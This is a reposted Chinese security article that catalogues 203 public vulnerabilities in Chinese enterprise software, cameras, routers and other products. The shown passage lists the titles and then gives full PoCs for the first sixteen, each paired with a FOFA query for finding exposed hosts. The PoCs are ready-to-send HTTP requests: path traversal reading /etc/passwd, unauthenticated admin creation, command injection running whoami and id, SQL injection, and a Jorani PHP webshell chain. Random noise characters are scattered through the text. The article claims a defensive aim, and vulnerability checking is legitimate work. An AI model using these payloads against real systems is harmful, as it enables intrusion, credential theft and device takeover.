互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
/ J; t$ j0 n7 |1 J% Z7 w以下文章来源于网络安全新视界 ，作者网络安全新视界
3 ?! o; Z" i& K& j8 y
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
$ }- U4 w% D$ b$ w4 _+ F
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

0 A3 W7 M7 f( _: v. R安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

5 f! r# F2 X2 ]; l' {+ e文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
- H6 H6 ~3 @# M; a6 E
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

: X* u% i5 v/ p! n
( {( W* n1 R7 z3 s4 e3 W- G声明
. E8 F9 P7 T' u; {/ f. a$ y" b
) Y- @9 c8 p5 O- h为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

  [0 {, S" x& ]+ w* \- r8 N

目录

& k* r5 }* O1 Z01

" X& P0 H1 s, j% M' W: s% T1 t% x5 T1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
' U4 B: ]/ k- q( d3. EasyCVR智能边缘网关 userlist 信息泄漏
1 n, ~9 w& ~# I7 R$ Z) |4. EasyCVR视频管理平台存在任意用户添加
  @0 y6 |' V: q5 H5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
* ^& ?, B2 t4 i# O8. 斐讯 Phicomm 路由器RCE
& V- l4 C8 I5 }/ x! n5 I; g! `5 g9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
, i! e& U0 i/ J$ X11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
9 w! i6 _+ [, Q5 O  D0 s12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
0 \4 k( M% o( Y" D! b20. 大华ICC智能物联综合管理平台任意文件读取
$ D4 N8 L( D, m9 v21. 大华ICC智能物联综合管理平台random远程代码执行
; l: {1 m0 d. n4 [( j22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
( s/ D8 x, ]3 z3 A, c. _% ^26. 用友NC linkVoucher SQL注入
9 y% G# I) e' [6 L3 s( s27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
' `) m' F* y) s+ P" I- x5 F9 h31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
) v1 @# y& `1 d$ }1 C; O38. 用友U8 Cloud smartweb2.RPC.d XXE
/ z3 O+ @2 b% \5 @! U4 v39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
1 A+ ^/ j' Y/ E- P; O! o42. 用友GRP-U8 SmartUpload01 文件上传
% z0 `& ^2 [5 d/ ]43. 用友GRP-U8 userInfoWeb SQL注入致RCE
5 t7 n/ }6 b( z8 ?  C$ a  @44. 用友GRP-U8 bx_dj_check.jsp SQL注入
. T5 p: D" Y2 {0 T* N& u- e45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
! Y- p' i! o. |5 ^' Y/ U48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
5 n) U) O: t* T& A& r! u7 E, G- j50. QDocs Smart School 6.4.1 filterRecords SQL注入
& ?) c8 l7 w0 d2 s51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
" F6 M7 s& B/ |5 a& C! k4 s56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 p- b9 N, U: m9 x4 s" v6 p57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
5 b1 R, w/ {) w0 K1 D( B5 ~5 y  C  f59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
+ g) s: Z. u4 M9 T8 T, ]61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
" w  V; n7 r4 M5 ^3 f+ Q! L! Q62. IP-guard WebServer 远程命令执行
1 ~7 j( m  |. j63. IP-guard WebServer任意文件读取
! B7 y* Q) Y% ^64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
/ [/ W% I5 V3 i, y# V; |67. 万户ezOFFICE wpsservlet任意文件上传
4 Q2 a7 o, n% R8 f4 j1 w$ o68. 万户ezOFFICE wf_printnum.jsp SQL注入
6 a7 h+ X1 W$ g4 ?" w' u/ W4 R69. 万户 ezOFFICE contract_gd.jsp SQL注入
" o; J4 u0 k" }8 w70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
; L; F. p, U/ B* Y2 e72. 致远OA getAjaxDataServlet XXE
9 U; c* i7 s, q* ^73. GeoServer wms远程代码执行
4 j  L, g  o  v0 ?( ^" Y  [- p  s74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
  e/ V; y9 E/ ]1 z8 D% N9 J76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
: e2 D4 |# r0 x; }9 f78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
3 K& t6 x9 w+ W+ P80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
& A8 S- {! F, Z+ A/ m82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
* ]6 S0 \2 Q/ K0 e- r' I83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. b8 n( ^' \( m' S% ~7 l85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
& y3 n4 `' z2 ^7 J88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
0 X) U. U+ {2 t: R3 {; ]  x91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
6 U8 b2 a: A2 {93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
+ t  h- g0 W1 y& l' |100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
6 X/ N2 S& j9 @8 N0 f102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
0 J5 z' n+ A* A  I1 }9 l105. SpringBlade v3.2.0 export-user SQL 注入
4 Y) g: q# x6 m; E; n- [+ o! V. v- Z106. SpringBlade dict-biz/list SQL 注入
, I4 E# c8 q  U6 |$ W' M2 p107. SpringBlade tenant/list SQL 注入
$ I+ o! U4 e) ]108. D-Tale 3.9.0 SSRF
4 Z4 b& H( o4 s7 n; a8 I: [109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
: l' u+ W# \  \2 Q& ~112. WordPress Plugin NotificationX SQL 注入
: J# c8 K, x2 s- @113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
( j& d% W) A+ m; _( I115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
9 d2 Q! E* {# d2 X" `7 V' b; p118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
- O) V+ U' y6 l+ p( @123. Atlassian Confluence 模板注入代码执行
0 L" ^  l: g; f, u- ?$ [124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
- W) g9 K0 r) E( _5 e- @130. Laykefu客服系统任意文件上传
$ r" A& T$ M3 Q9 i, K1 F" G. Q131. Mini-Tmall <=20231017 SQL注入
& W) W* z" i" V+ R132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
0 X9 F7 i* k0 Q8 `& [136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
3 J( G. U0 U' ?2 k  E, @7 [) |' Y142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
$ `3 d1 w  S6 E/ g* I+ K8 `148. CrushFTP 认证绕过模板注入
- p" [) T7 F- w149. AJ-Report开源数据大屏存在远程命令执行
% d7 \, I: ~5 m1 ?0 ^0 u150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
# g2 r* ?4 p' x- X& ^152. Progress Kemp LoadMaster 远程命令执行
' f8 l/ M% x2 k8 c) u6 Q153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
, e- _' s& L. m9 {156. TBK DVR-4104/DVR-4216 操作系统命令注入
7 D  i1 E1 z. `0 W% a, v  V! T; E157. 美特CRM upload.jsp 任意文件上传
' S. y( x- j3 w158. Mura-CMS-processAsyncObject存在SQL注入
+ j0 Y, Q8 `9 m) X8 s. `8 }159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
1 `* ]8 G; [8 x; Z$ D161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
. Z5 Z2 D& L. T5 D) ?165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
( s' p9 }- U" z& c: ?0 ?167. 精益价值管理系统 DownLoad.aspx任意文件读取
! j; A/ |* J) T8 f) |168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
/ E* \$ p% i& D% X  S( O171. 通天星CMSV6车载定位监控平台 SQL注入
" K; \! Z8 l/ G+ Y  _1 Y. r8 ?( G172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
) O5 T# X# K) Z% v8 y4 I174. 金和OA C6 FileDownLoad.aspx 任意文件读取
; T" U  {; {* M- d- `175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
  W4 J  _! i% m1 @176. 电信网关配置管理系统 rewrite.php 文件上传
7 I3 w* \5 ~2 p, ~: D) e177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
, R. ]- F+ Q  F4 k180. 帮管客 CRM jiliyu SQL注入
2 i! p+ U6 d6 t9 _1 O181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
* Q( a, m& C0 {4 |) h* e( y+ C182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
  o+ {( Q4 l! Z" {. t, y- m183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
7 E1 [0 N: R$ o191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ |& W0 u) R: l193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
6 l+ _, L0 B7 d0 I( t194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
! b1 e* _; b  p' J2 |- v( |196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
1 B+ _( o8 N: b4 r198.  阿里云盘 WebDAV 命令注入
4 {* T7 m2 ~' [& b  D; P2 k199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
; v- h, I- n4 U1 k201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
$ I+ E7 N3 \; ?0 f7 {; H6 z- C3 K203. 红海云EHR PtFjk 文件上传
; D. F- D) R' I) d) p) h
POC列表
$ l% [& b: T- j( _/ K
" O) G& G0 Y8 L. ?" s( M( H( K02
7 T0 r, R5 r  f; p
1. StarRocks MPP数据库未授权访问
* j2 H4 U) @  H# o5 TFOFA ：title="StarRocks"
: M( n8 R& i* @7 a0 _+ \; eGET /mem_tracker HTTP/1.1
% g5 ^4 H8 C- \2 x- @) b# yHost: URL
) t3 _# @0 B6 J, b/ U8 @5 L
+ }- h' U5 b; j0 N; p
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
. d5 q9 O4 S/ nGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
& \/ J- j; a. W$ f, q$ z* bHost: xx.xx.xx.xx:9999
( g6 W" C, d$ ]8 {; ?/ y1 R1 eUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
/ |7 g% g# p5 r6 qAccept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
/ p# v3 j/ v/ N3 @4 U' l; ^GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
4 p, A" q% A; {- z' E9 B+ X+ v
9 H2 p* e' g* L! @$ h5 T# P
1 B( J1 K( D) ^4 P4. EasyCVR视频管理平台存在任意用户添加
7 n1 e, r  h' T/ u0 F8 c8 D7 S, VFOFA ：title="EasyCVR"
) ?1 J: x$ u; H7 U( q, W
' E8 N4 _$ F1 b: k" {password更改为自己的密码md5
; m7 r9 Z) ?4 l. F# bPOST /api/v1/adduser HTTP/1.1
: `2 ?# z* c' E! ?* _Host: your-ip
1 _4 |. Z/ ^: S# h. D* t. o1 `3 SContent-Type: application/x-www-form-urlencoded; charset=UTF-8
' F+ y) c/ d( ^9 s1 @! h% ?
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
. W: ]. f* O- K9 p3 y  Q( n' g

6. 深信服 NGAF 任意文件读取
& v7 I' Y) @+ m! rFOFA：title="SANGFOR | NGAF"
- ?; G7 F' c. R. DGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
& N; I: t5 |% j# q( j3 Y  d- fHost:
$ L* ?) u2 v: Q* N! `

7. 鸿运主动安全监控云平台任意文件下载
- X+ g' ]4 A) Y6 `! C( _! UFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
8 @8 J; V. L$ {+ z7 ^# i. rHost:
. G- }3 [0 R0 o* u) L2 ~7 z
5 z) D8 U, F5 |7 v5 C7 f
- g' T3 D+ c/ X  \7 y' J8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
) G' M7 G% u- C1 DPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
# D! x2 a% h8 J9 [3 tHost: x.x.x.x
4 ~( Q" x  D+ K3 Y; }% J5 \' X. [Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

* T& {2 @* }6 n* o1 i; P  p& }8 {------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
, r4 o; f" d2 _6 x
9 A: ~5 k3 d6 _: W/ V* [' Y7 t%s
------WebKitFormBoundaryxbgjoytz
2 `0 I2 ?/ D+ ?Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
+ h5 k3 U2 c. C) [& u7 b. dContent-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
6 v. n$ F3 V1 jContent-Disposition: form-data; name="cururl2"
; W- b$ k& D% `( }: k0 m1 S
0 q' i; R3 t0 p4 S
9 V+ J' `2 ~1 D4 n$ w6 j( k------WebKitFormBoundaryxbgjoytz--
3 ]+ g# a' o- Y1 t$ @5 k& O$ k

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
' i# [2 s9 ?) a6 P$ z4 t5 `GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
$ R8 P& H3 r6 d. s) Z2 w# b* }Host: x.x.x.x
' Q, L) O: k! d1 a
" X6 E$ l; E3 n
/ A) e7 E$ Q1 L8 z9 D' c; A, Z+ ?payload为下列语句的二次Url编码
; q9 V# M' \/ k
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
. K2 ]* E! ]2 ~; f3 \
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

# g8 ~* s+ k& {2 g: n: B5 S, b& h8 M文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
) K! J) Y( }6 D8 N7 x8 x) F# SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
6 W0 H8 W, r# Z" d  {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

. E; w7 [3 C; ?------WebKitFormBoundaryxdgaqmqu
* D3 r/ j7 n, D, d) R/ b0 O: AContent-Disposition: form-data; name="file"filename="icfitnya.txt"
& x- z8 F% S6 c% Q9 MContent-Type: text/html

3 h. o! w9 r3 a" o4 m, ~6 hjmnqjfdsupxgfidopeixbgsxbf
' v' O4 b0 U6 w8 _, {3 F------WebKitFormBoundaryxdgaqmqu--

8 W) X% W* G0 h2 O
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
: s) O% ?) y% t  \" A$ b$ T+ d7 B. KFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
. Y1 ^; d4 z/ t" ?& f1 q6 W/ X- u9 ICache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- F; b0 \) K: L* T# aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ d- p* I6 g+ oConnection: close


" A8 v0 Y0 T5 b, x, I( B12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
: Y6 v" p4 y- o) p& P第一步先拿到cookie
+ z" L2 }( s3 P/ I* `: CGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
; I: i5 l6 ^  @3 HAccept-Encoding: gzip
: e" z$ x. n' A+ U& n( k
/ O/ d8 [' {4 n% s
) r, G$ ]1 ?, F/ R* `4 K  ^" _响应中csrf_cookie_jorani用于后续请求
. Z  p4 i4 N$ z* n# H6 iHTTP/1.1 200 OK
Connection: close
+ x0 |, x6 N2 l, O! UCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
% O: ?4 Z, j1 m6 y" pExpires: Thu, 19 Nov 1981 08:52:00 GMT
: `7 [% u1 D8 a" h; T# @, P! F, d) |" JLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
* [) c. ?3 y. v5 \  ^! kServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
3 X9 Z- X) T% M" ~- H) |! hSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
8 i. o3 G" K2 a% r4 F" T& PVary: Accept-Encoding
3 n2 `' ^5 x8 M+ \6 t* Z
. W$ f* Y" w0 x) J% n( V* f' y
1 [; T2 Y( J; }4 }0 @POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
1 |- c7 l; L/ EConnection: close
Content-Length: 252
7 y9 J# F  M2 V$ BContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
& N+ ]* |8 G% G0 w! P0 F; r
; c) S! `/ n7 x2 ^% Hcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
; v% E6 m. _5 X: |3 Q* y* q
6 a7 a$ i' K7 k4 z6 D2 g& [
$ C6 e0 V# f5 I; N
3 o1 y3 m% A% o4 U向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
, q$ J/ \+ E9 B6 \6 I- p# BHost: 192.168.190.30
$ B' O/ O* A0 h- N3 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
: p, Z1 R' j* u3 @! O, j  lConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
, [. x( r& w# V* dAccept-Encoding: gzip
7 V- A$ v5 P& a2 R: t2 I8 r9 z5 b

) V6 w" \% _  m' m1 q( b4 r13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
0 I/ n# {" O  g6 X2 X, z( r0 tHost: x.x.x.x
- b- N& }: }, X+ ?' K" V4 x' f7 {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 h" j! V0 ^6 p2 A9 x* ^Connection: close
Accept: */*
Accept-Encoding: gzip
$ t$ X4 M" x, m! {

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
: s2 P* J- w+ m( ^& ~泄露内容包括用户名密码
6 U* c: Y2 y! S$ ]7 wGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
' p. i$ a/ K) |6 M! {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
+ Z, ?5 I' O9 e# EConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
3 g' U  M% N$ X' J; @

* K/ S9 `3 m! i/ o6 {7 l: M15. 华夏ERP getAllList信息泄露
* |8 j+ P, s. I; }8 l7 t' dCVE-2024-0490
FOFA：body="jshERP-boot"
! W- y" R* o% K泄露内容包括用户名密码
0 `; z! L' c, ^0 pGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
/ J8 w) `+ i8 x, i, _4 H2 q" C* vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
- N" r1 q+ y# }5 I- kConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ M; E: o4 f9 _5 ~% p$ kAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip

+ N9 m1 h; Y& w: E% K! r
& g& K6 Y% o+ t7 A  X9 p16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
